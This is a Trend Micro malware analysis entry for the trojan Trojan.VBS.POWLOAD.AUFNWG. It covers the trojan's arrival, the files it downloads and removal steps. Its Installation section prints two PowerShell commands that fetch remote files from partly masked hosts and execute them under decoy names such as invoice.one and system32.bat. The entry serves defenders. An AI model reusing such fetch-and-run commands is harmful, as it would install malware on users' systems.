Trojan.VBS.POWLOAD.AUFNWG

February 07, 2023
 Analysis by: Jeffrey Francis Bonaobra
 ALIASES:

Trojan:PowerShell/Bynoco.SMK!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

1,714 bytes

File Type:

HTML, HTM, VBS

Memory Resident:

No

Initial Samples Received Date:

02 Feb 2023

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cmd /c powershell Invoke-WebRequest -Uri https://www.{BLOCKED}egem.com/uploads/soft/one-templates/the_daily_schedule.one -OutFile $env:tmp\invoice.one; Start-Process -FilePath $env:tmp\invoice.one
  • cmd /c powershell Invoke-WebRequest -Uri https://{BLOCKED}er.sh/get/bjLvT5/AsyncClientnownow.bat -OutFile $env:tmp\system32.bat; Start-Process -FilePath $env:tmp\system32.bat

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://www.{BLOCKED}egem.com/uploads/soft/one-templates/the_daily_schedule.one
  • https://{BLOCKED}er.sh/get/bjLvT5/AsyncClientnownow.bat

It saves the files it downloads using the following names:

  • %User Temp%\invoice.one
  • %User Temp%\system32.bat

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan does the following:

  • It uses WMI to execute the powershell scripts by spawning them as a child process of WmiPrvSe.exe.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.234.06

FIRST VSAPI PATTERN DATE:

03 Feb 2023

VSAPI OPR PATTERN File:

18.235.00

VSAPI OPR PATTERN Date:

04 Feb 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

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  • %User Temp%\invoice.one
  • %User Temp%\system32.bat

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.POWLOAD.AUFNWG. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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